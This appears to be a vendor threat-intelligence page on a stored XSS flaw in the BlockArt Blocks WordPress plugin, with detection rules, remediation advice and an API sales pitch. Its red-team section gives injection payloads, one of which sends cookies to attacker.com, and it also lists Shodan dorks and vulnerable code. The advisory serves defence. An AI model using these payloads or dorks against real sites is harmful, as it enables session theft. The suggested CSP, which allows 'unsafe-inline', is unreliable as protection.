☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13697

CVE-2025-13697 Cross-Site Scripting in Blockart
📅 PUBLISHED: 2025-12-02 01:51 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13697 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the BlockArt Blocks WordPress plugin (versions up to and including 2.2.13). This plugin provides Gutenberg blocks, page builder functionality, and template libraries for WordPress sites.

The vulnerability exists in the timestamp attribute of the plugin's blocks. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious block, the injected script executes in their browser context.

This is a WordPress ecosystem vulnerability. The plugin's failure to properly handle user-supplied data within its block attributes allows for persistent script injection. The CVSS score of 6.4 (Medium) reflects the need for authenticated access but the potential for cross-site scripting attacks that can lead to session hijacking, defacement, or malware distribution.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are running a version higher than 2.2.13 if a patch becomes available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - Attacker needs Contributor-level access or higher.
  • User Interaction (UI): None (N) - No user interaction is required for the initial injection.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) - Limited information disclosure possible.
  • Integrity (I): Low (L) - Limited modification of data possible.
  • Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the immediate risk. However, once injected, the script executes for any user viewing the page, including administrators, making it a significant threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability lies in how the BlockArt Blocks plugin handles the timestamp attribute within its custom Gutenberg blocks. Gutenberg blocks are rendered on the server side using PHP. When a block is saved, its attributes are serialized and stored in the WordPress database.

The plugin fails to properly sanitize the timestamp attribute before storing it and fails to escape it when rendering the block on the front end. This allows an attacker with Contributor-level access (who can create and edit posts) to craft a block with a malicious timestamp value containing JavaScript code.

Attack Flow:

  1. An authenticated user with Contributor-level access creates or edits a post/page.
  2. They add a BlockArt block that uses the timestamp attribute.
  3. They inject a payload like 2024-01-01"><script>alert('XSS')</script> into the timestamp field.
  4. The plugin stores this unsanitized value in the database.
  5. When any user (including admins) views the page, the server renders the block and outputs the malicious timestamp without proper escaping.
  6. The injected script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.13): The vulnerable code likely exists in a PHP file that renders the block. A simplified example:

// Vulnerable: Direct output without escaping
echo '<div class="blockart-timestamp">' . $attributes['timestamp'] . '</div>';

Patched Code (Hypothetical): A proper fix would use WordPress's escaping functions:

// Patched: Escaped output
echo '<div class="blockart-timestamp">' . esc_html( $attributes['timestamp'] ) . '</div>';

Additionally, server-side validation should be added:

// Patched: Validate timestamp format
if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $attributes['timestamp'] ) ) {
    $attributes['timestamp'] = '';
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with BlockArt Blocks plugin <= 2.2.13
  • An account with Contributor-level access or higher

Exploitation Steps:

  1. Log in to WordPress with a Contributor account.
  2. Create a new post or edit an existing one.
  3. Add a BlockArt block that uses the timestamp attribute (e.g., a countdown or event block).
  4. In the block settings, locate the timestamp field and inject a payload:
    2024-01-01"><img src=x onerror=alert(document.cookie)>
    
  5. Publish or update the post.
  6. When any user visits the post, the script executes.

Advanced Payload:

2024-01-01"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor for posts created by Contributor-level users containing suspicious HTML/JavaScript in block attributes.
  • Look for unusual timestamp values in the wp_posts table (post_content column).
  • Use WAF rules to block common XSS payloads in POST requests to wp-admin/post.php.

Hunting Query (SQL):

SELECT ID, post_title, post_author, post_date
FROM wp_posts
WHERE post_content LIKE '%<script%'
   OR post_content LIKE '%onerror%'
   OR post_content LIKE '%onload%';

Prevention:

  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a WordPress security plugin that monitors for suspicious content changes.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/blockart-blocks/ (entire plugin directory)
  • Database: Posts containing malicious JavaScript in block attributes (look for <!-- wp:blockart-blocks/... blocks with suspicious timestamp values)
  • Network: Outbound requests to attacker-controlled domains from compromised WordPress sites
  • Logs: wp-admin/post.php POST requests with unusual timestamp parameters

Example Malicious Block in Database:

<!-- wp:blockart-blocks/countdown {"timestamp":"2024-01-01\"><script>alert(1)</script>"} /-->

Detection Engineering

YARA Rule

rule CVE_2025_13697_BlockArt_XSS {
    meta:
        description = "Detects malicious BlockArt blocks with XSS payloads in timestamp attribute"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13697"
        hash = "N/A"
    strings:
        $block_marker = "wp:blockart-blocks/"
        $timestamp_attr = "timestamp"
        $xss_payload_1 = /<script[^>]*>/
        $xss_payload_2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/
        $xss_payload_3 = /javascript\s*:/
    condition:
        all of ($block_marker, $timestamp_attr) and
        any of ($xss_payload_*)
}

Sigma Rule

title: CVE-2025-13697 BlockArt Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via BlockArt Blocks timestamp attribute
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2025.13697
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 'timestamp'
        http.body|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13697 BlockArt Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"timestamp"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Audit existing content for malicious blocks using the IOCs provided.
  3. Review user roles and remove Contributor access from untrusted users.

Long-term Fix:

  • The vendor must release a patched version (> 2.2.13) that properly sanitizes and escapes the timestamp attribute.
  • Implement server-side validation to ensure the timestamp is a valid date format.
  • Use esc_html() or wp_kses_post() when outputting block attributes.

Workarounds:

  • Use a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Implement Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
    
  • Monitor WordPress logs for suspicious activity.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/blockart-blocks"
http.html:"blockart-blocks" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13697/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.